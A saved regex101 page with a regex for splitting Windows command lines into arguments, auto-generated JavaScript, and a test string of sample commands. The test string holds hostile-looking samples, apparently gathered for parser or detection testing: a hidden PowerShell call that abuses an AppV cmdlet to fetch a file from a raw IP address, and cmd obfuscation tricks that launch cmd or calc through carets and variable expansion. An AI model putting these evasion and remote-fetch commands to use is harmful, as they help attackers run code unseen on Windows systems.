Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression

/
/
gmJ

Test String

Code Generator

Generated Code

const regex = /(?#\ Doc: This regex will split the commandline in arguments Details: The arg variable will contain all the different arguments argument delimiters are in two categories : whitespaces delimiters : \t \n \r \v ' ' ',' : is a delimiter in the windows cmd but it's not one in the powershell quotation delimiters : \' \` \" Variables: arg : will contain each argument Next variables can be adjusted by adding or deleting delimiters quote_delimiters : quoted argument delimiters whitespace_delimiters : whitespace argument delimiters )(?#\ )(?<arg>(?#\ )(?<arg_quote>(?#\ )(?<quote_delimiters>"|'|`)(?#\ )(?:(?#\ )(?!\3)(?#\ )(?<escape>(?(?!\\)[\x00-\xFF]|[\x00-\xFF]{2}))(?#\ ))*(?#\ )\3(?#\ ))|(?<arg_whitespace>(?#\ )(?:(?#\ )(?!(?#\ )(?<whitespace_delimiters>\s|$)|(?#\ )(?P>quote_delimiters)(?#\ ))(?#\ )(?P>escape)(?#\ ))+(?#\ ))(?#\ ))(?#\ )(?#\ )(?#\ Related doc: https://docs.microsoft.com/fr-fr/cpp/c-language/parsing-c-command-line-arguments?view=vs-2019 http://daviddeley.com/autohotkey/parameters/parameters.htm )/gm; // Alternative syntax using RegExp constructor // const regex = new RegExp('(?#\\ Doc: This regex will split the commandline in arguments Details: The arg variable will contain all the different arguments argument delimiters are in two categories : whitespaces delimiters : \\t \\n \\r \\v \' \' \',\' : is a delimiter in the windows cmd but it\'s not one in the powershell quotation delimiters : \\\' \\` \\" Variables: arg : will contain each argument Next variables can be adjusted by adding or deleting delimiters quote_delimiters : quoted argument delimiters whitespace_delimiters : whitespace argument delimiters )(?#\\ )(?<arg>(?#\\ )(?<arg_quote>(?#\\ )(?<quote_delimiters>"|\'|`)(?#\\ )(?:(?#\\ )(?!\\3)(?#\\ )(?<escape>(?(?!\\\\)[\\x00-\\xFF]|[\\x00-\\xFF]{2}))(?#\\ ))*(?#\\ )\\3(?#\\ ))|(?<arg_whitespace>(?#\\ )(?:(?#\\ )(?!(?#\\ )(?<whitespace_delimiters>\\s|$)|(?#\\ )(?P>quote_delimiters)(?#\\ ))(?#\\ )(?P>escape)(?#\\ ))+(?#\\ ))(?#\\ ))(?#\\ )(?#\\ )(?#\\ Related doc: https:\/\/docs.microsoft.com\/fr-fr\/cpp\/c-language\/parsing-c-command-line-arguments?view=vs-2019 http:\/\/daviddeley.com\/autohotkey\/parameters\/parameters.htm )', 'gm') const str = `"C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe" --type=renderer /prefetch:1 "R:\\Coficine\\MCI\\01 Activités\\03 PARTICIPATIONS\\2 Sociétés\\1 Particip. actuelles\\Monello Productions\\03. Dossier client\\01. KYC\\Actionnariat\\Actionnariat - 2018-05-03.pdf" "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &amp;{\$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer \\n;(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;Invoke-WebRequest -Uri http://209.97.141.246/ee/index_files/alert.css} "UNIT TESTS :" '' arg0\\ \\ \\\\ "arg1\\"\\"" "arg2\\"\\\\""arg3 \\"" 'arg4"arg4"' arg5 arg6 space_bef_and_aft__arg0 arg1 arg2 arg3 space_aft___________arg0 arg1 arg2 arg3 space_bef__________arg0 arg1 arg2 arg3 nospace_____________arg0 arg1 arg2 arg3 multispace______________arg0 arg1 arg2 arg3 arg4 C:\\ProgramData\\Anaconda3\\python.exe C:\\ProgramData\\Anaconda3\\cwp.py C:\\ProgramData\\Anaconda3 C:\\ProgramData\\Anaconda3\\python.exe C:\\ProgramData\\Anaconda3\\Scripts\\jupyter-notebook-script.py "%USERPROFILE%/" . \`echo \`ls "/tmp"\`\`'\`\`' 1""3"4" n^e^t u^s^er cmd /c "set x=calc & echo %x% | cmd" cmd /c "set x=c@alc & echo %x:@=mantvydas% | cmd" \\c \\\\ \\' \\" '\\'\\'\\'\\'\\'\\'\\'\\\\' '# this will take the C character from %programdata% and will launch the cmd prompt' %programdata:~0,1%md \\c "whatever" @cmd set pSM PSModulePath=C:\\Users\\mantvydas\\Documents\\WindowsPowerShell\\Modules;.... FOR /F "tokens=7 delims=s\\\\" %g IN ('set^|findstr PSM') do %g cmd,/c;hostname `; // Reset `lastIndex` if this regex is defined globally // regex.lastIndex = 0; let m; while ((m = regex.exec(str)) !== null) { // This is necessary to avoid infinite loops with zero-width matches if (m.index === regex.lastIndex) { regex.lastIndex++; } // The result can be accessed through the `m`-variable. m.forEach((match, groupIndex) => { console.log(`Found match, group ${groupIndex}: ${match}`); }); }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for JavaScript, please visit: https://developer.mozilla.org/en/docs/Web/JavaScript/Guide/Regular_Expressions